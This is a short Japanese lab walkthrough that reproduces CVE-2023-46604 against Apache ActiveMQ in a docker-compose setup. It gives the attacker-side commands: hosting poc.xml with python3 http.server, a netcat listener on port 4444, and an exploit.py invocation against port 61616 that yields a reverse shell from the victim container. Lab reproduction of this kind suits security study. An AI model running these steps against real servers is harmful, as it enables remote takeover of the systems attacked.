CVE-2023-46604

要求環境に従って、被害者マシンとターゲットマシンの2つのイメージを含むdocker-composeを構築します
被害者マシンで、ActiveMQを起動します

攻撃者マシンに切り替えます: • ポック（poc）を送信するためにHTTPサービスを開く: python3 -m http.server

• netcatを使用して攻撃者マシンへの接続を待ち受ける nc -nlvp 4444

• リバースシェル接続を作成するペイロードを攻撃者マシンに送信する python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 内訳:

• Exploit.py: 脆弱性を悪用するコードファイル
• -I 172.18.0.3: ペイロードを送信するマシンのIPアドレス
• -p 61616: 被害者のActiveMQが待ち受けているポート
• --xml http://172.18.0.2:8000/poc.xml: 攻撃者マシン上のpoc.xmlファイルのURLアドレス

実行ファイル 'exploit.py' を実行すると、エクスプロイトコードはWebサーバー上の 'poc.xml' パケットをターゲット（ターゲットサーバー上で動作しているActiveMQサービスのアドレス）に送信します。同時に、攻撃者マシン上のHTTP Webサーバーは、ターゲットマシンのIPアドレスから送信されたリクエストを受信します。

ペイロードを送信した後、攻撃者マシンのポート4444で待ち受けている端末に切り替えます。被害者マシンのリバースシェルが送り返されてきたことが確認できます。